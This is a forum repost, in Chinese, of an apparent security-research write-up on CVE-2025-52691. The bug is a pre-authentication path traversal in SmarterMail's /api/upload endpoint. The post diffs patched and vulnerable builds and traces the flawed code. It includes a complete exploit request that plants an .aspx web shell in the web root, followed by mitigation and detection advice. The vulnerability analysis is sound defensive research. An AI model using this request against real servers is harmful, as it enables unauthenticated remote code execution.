找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2531

积分

1

好友

352

主题
发表于 前天 06:21 | 查看: 6| 回复: 0

声明: 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

欢迎来到2026!在每年一月的SSL VPN利用潮还未完全来临之际,watchTowr Labs的研究人员已在圣诞节后重新投入了对高危漏洞的探索。去年12月,新加坡网络安全局发布了一份关于SmarterMail的漏洞公告——CVE-2025-52691。该漏洞被评定为认证前远程代码执行漏洞,在通用漏洞评分系统中获得了10分的满分。

这种无需认证的RCE漏洞一直是安全研究的焦点。那么,SmarterMail究竟是什么呢?其开发商SmarterTools将其描述为一款适用于Windows和Linux的安全、一体化商务邮件与协作服务器,定位为经济高效的Microsoft Exchange替代方案。

时间线上的疑点

在研究人员准备进行技术分析时,一个奇怪的时间点引起了他们的注意。

CSA的漏洞公告和CVE条目都在2025年12月底发布。然而,公告明确指出该漏洞已在 build 9413 中得到修复。问题是:build 9413 的发布日期是2025年10月10日。在报告撰写时,最新版本已经是 build 9483 了。

SmarterMail版本发布记录

这不禁让人产生疑问:这是否意味着这个高危漏洞在被公开披露前将近三个月就已经被静默修复了?而那些使用此方案的客户,不得不等待两个多月,才被告知一个CVSS 10.0分的“关键”漏洞已悄然修补,并被建议“紧急更新”?

诚然,厂商可能会辩称“静默修复能让客户更安全,并留出补丁时间”。但无数案例已经证明,攻击者同样具备逆向工程能力,他们完全有能力发掘出那些被悄无声息修补的漏洞。这一切真的合理吗?是否有可能在公告发布前,漏洞已被发现并被在暗中利用?

关于静默修复的梗图

值得注意的是,在 build 9413 的发布说明中,仅含糊地提及了“常规安全修复”。

SmarterMail更新日志截图,显示常规安全修复

抱怨就此打住,让我们直接切入这个漏洞的技术核心。尽管该漏洞在事后看来相当“简单”,但其挖掘过程需要大量的逆向工程与代码审计工作。在此向首位发现者Chua Meng Han先生致意。

CVE-2025-52691 技术分析

研究人员通过对比存在漏洞和已修复的版本来开始分析。根据公告,选取了以下版本:

  • 漏洞版本:Build 9406
  • 已修复版本:Build 9413

在排除了大量无关的代码变更后,我们直接关注到 SmarterMail.Web.Api.FileUploadController.Upload 方法的代码差异:

存在漏洞与已修复版本的代码对比

在上图的差异中,可以清晰地看到,在已修复的 build 9413 版本中,对涉及GUID的参数增加了验证逻辑。这看起来是一个关键线索,与漏洞公告给人的感觉相符。

FileUploadController 是一个注册在 /api/upload 路由下的API控制器。更重要的是,在修复后的版本中,这是一个无需任何身份验证即可访问的端点(注意 AuthenticatedService 属性的 AllowAnonymous = true 设置)。

目前我们掌握了两个关键信息:

  1. 一个无需认证的文件上传接口。
  2. 修复补丁为该接口增加了GUID验证逻辑。

这几乎已经指明了问题所在。让我们一步步来确认其根本原因。

代码流程分析

以下是 Upload 方法的关键代码流程(为简明起见已进行精简):

[AuthenticatedService(AllowAnonymous = true)]
[Route("")]
[HttpPost]
public async Task<ActionResult> Upload()
{
    StringValues stringValues = base.Request.Form["context"]; // [1]
    StringValues stringValues2 = base.Request.Form["contextData"]; // [2]
    if (base.Request.Form.Files.Count == 0) // [3]
    {
        // ... 错误处理
    }
    else
    {
        if (stringValues2 != StringValues.Empty)
        {
            pupData.targetData = JsonConvert.DeserializeObject<PostUploadProcessingTargetData>(stringValues2.ToString()); // [4]
        }
        // ...
        retStatus = await UploadLogic.ProcessCompletedUpload(this.WebHostEnvironment, base.HttpContext, base.HttpAbsoluteRootPath, base.VirtualAppPath, currentUserTemp, pupData, new SmarterMail.Web.Logic.UploadedFile
        {
            fileName = uploadConfiguration.FileName,
            stream = file
        }); // [5]
    }
}

解析关键点:

  • [1][2] 处,代码从HTTP请求中获取 contextcontextData 参数。
  • [3] 处可知,所有上传的文件应使用 multipart/form-data 内容类型。
  • [4] 处,代码将 contextData 反序列化为 PostUploadProcessingTargetData 类型的对象。
  • [5] 处,代码调用 ProcessCompletedUpload 方法,并将反序列化后的对象作为输入参数之一。

PostUploadProcessingTargetData 类包含一个名为 guid 的公共属性,并具有公共的setter。这意味着攻击者可以在反序列化过程中完全控制这个值,而这很可能就是漏洞利用的关键,因为补丁正是在此处增加了验证。

寻找利用路径

ProcessCompletedUpload 方法根据攻击者可控制的 context 参数值执行不同的上传操作。当 context 参数值为 “attachment” 时,代码会调用 MailLogic.SaveAttachment 方法,并将攻击者可控的 guid 值作为参数传入。

最终,调用链到达 SmarterMail.Web.Logic.HelperClasses.AttachmentsHelper.SaveAttachment 方法。漏洞的核心就在于此

以下是该方法的关键部分:

public static async Task<UploadResult> SaveAttachment(IWebHostEnvironment _webHostEnvironment, string httpAbsoluteRootPath, UserData currentUser, UploadedFile file, string guid, string contentId = "")
{
    if (file != null && file.stream.Length > 0L)
    {
        sanitizedName = AttachmentsHelper.SanitizeFilename(file.fileName); // [1]
        string text = AttachmentsHelper.FindExtension(sanitizedName); // [2]
        DirectoryInfoX directoryInfoX = new DirectoryInfoX(PathX.Combine(FileManager.BaseDirectory, “App_Data”, “Attachments”)); // [3]
        // ...
        attachmentInfo.GeneratedFileName = AttachmentsHelper.GenerateFileName(attachguid, 0, text); // [4]
        attachmentInfo.GeneratedFileNameAndLocation = AttachmentsHelper.GenerateFileNameAndLocation(directoryInfoX.ToString(), attachmentInfo.GeneratedFileName); // [5]
        // ...
        using (FileStream fileStream = new FileStream(attachmentInfo.GeneratedFileNameAndLocation, FileMode.Create, FileAccess.Write))
        {
            file.stream.CopyTo(fileStream); // [6]
        }
    }
}

[3] 处,代码定义了上传的基础目录(如 C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\Attachments)。App_Data 目录通常受IIS严格限制,无法直接通过Web访问。因此,攻击者需要设法逃离这个受限目录

关键在于 [4][5] 行。GenerateFileName 方法使用传入的 guid 参数来生成文件名,而 GenerateFileNameAndLocation 方法则简单地将目录和生成的文件名拼接成完整路径。我们来看看这两个方法的实现:

private static string GenerateFileName(string attachguid, int count, string extension)
{
    if (extension != null && extension.Length > 0)
    {
        return string.Format(“att_{0}_{1}.{2}”, AttachmentsHelper.<GenerateFileName>g__CleanGuid|20_0(attachguid), count, extension);
    }
    return string.Format(“att_{0}_{1}”, AttachmentsHelper.<GenerateFileName>g__CleanGuid|20_0(attachguid), count);
}

private static string GenerateFileNameAndLocation(string directory, string generatedFileName)
{
    string format = “{0}” + PathVariables.FORWARDSLASH_STRING + “{1}”;
    return string.Format(format, directory, generatedFileName); // 简单拼接,无路径遍历检查!
}

答案揭晓了!guid 参数被直接拼接到文件名模板中(att_{guid}_{count}.{ext}),而 GenerateFileNameAndLocation 方法没有进行任何路径遍历检查,只是进行了简单的字符串拼接。

这意味着,如果攻击者将 guid 参数设置为类似 “dag/../../../../inetpub/wwwroot/shell” 的值,那么生成的文件路径将变为:
C:\...\Attachments\att_dag/../../../../inetpub/wwwroot/shell_0.aspx
通过路径遍历序列 ../,文件最终将被写入可Web访问的 inetpub\wwwroot 目录,从而实现无需认证的任意文件写入,并进一步导致远程代码执行。

这种利用文件上传功能实现路径遍历,最终达成RCE的技术,是安全/渗透/逆向领域常见的高危攻击手法。

漏洞利用实例

综合以上分析,触发漏洞的最终HTTP请求示例如下:

POST /api/upload HTTP/1.1
Host: target.com:9998
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name=“context”

attachment
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name=“resumableFilename”

webshell.aspx
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name=“contextData”
{“guid”:“dag/../../../../../../../../../../../../../../../inetpub/wwwroot/watchtower”}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name=“file”; filename=“test.jpg”
<%Response.Write(“Hello from watchTowr”);%>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

请求解释:

  • context 参数设为 “attachment”,进入漏洞代码路径。
  • resumableFilename 参数指定最终文件扩展名(.aspx)。
  • contextData 中的 guid 值包含路径遍历序列,用于逃逸App_Data目录,将文件写入Web根目录。
  • 文件部分包含Web Shell有效负载。

通过调试 GenerateFileNameAndLocation 方法,可以确认路径遍历利用成功。

代码调试界面,显示拼接后的文件路径

服务器响应中会返回生成的文件名,其中包含了我们的路径遍历 payload:

{
    “key”: “att_dag/../../../../../../../../../../../../../../../inetpub/wwwroot/watchtower_0.aspx”,
    “fileName”: “webshell.aspx”
}

最终,Web Shell被成功写入可访问的Web目录。

文件资源管理器显示上传的aspx文件

一个有趣的现象是,SmarterMail似乎会使用 ClamAV 扫描所有附件,如下方进程监控截图所示。然而,可能是 ClamAV 未能识别基础的Web Shell载荷,或者是SmarterMail未能正确处理扫描结果,导致防护机制未能生效。

进程监控显示ClamAV扫描上传的文件

检测与缓解

对于这种预认证RCE漏洞,及时的检测与修复至关重要。研究人员通常会发布检测脚本来帮助社区识别风险。这类漏洞的深入分析和技术对抗,也常在云栈社区这类技术论坛中进行分享与讨论。

检测脚本运行成功截图

缓解措施

  1. 立即升级:将所有SmarterMail实例升级至 build 9413 或更高版本。
  2. 网络隔离:在补丁无法立即应用的情况下,考虑对SmarterMail管理界面实施严格的网络访问控制。
  3. 入侵检测:在Web日志或终端检测系统中监控对 /api/upload 路径的异常POST请求,特别是 contextData 参数中包含大量 ../ 序列的请求。

CVE-2025-52691再次提醒我们,即使是一个简单的路径遍历缺陷,在特定的上下文中(如无需认证的文件上传接口)也可能导致最严重的远程代码执行后果。而漏洞修复与披露之间的“静默期”,则为威胁行为者提供了一个潜在的攻击窗口。




上一篇:嵌入式适配器模式实战:以BME280/DHT11为例构建统一传感器接口
下一篇:Node.js迁移Rust后端性能优化实战:三周重建的血泪经验
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-14 17:11 , Processed in 0.357094 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表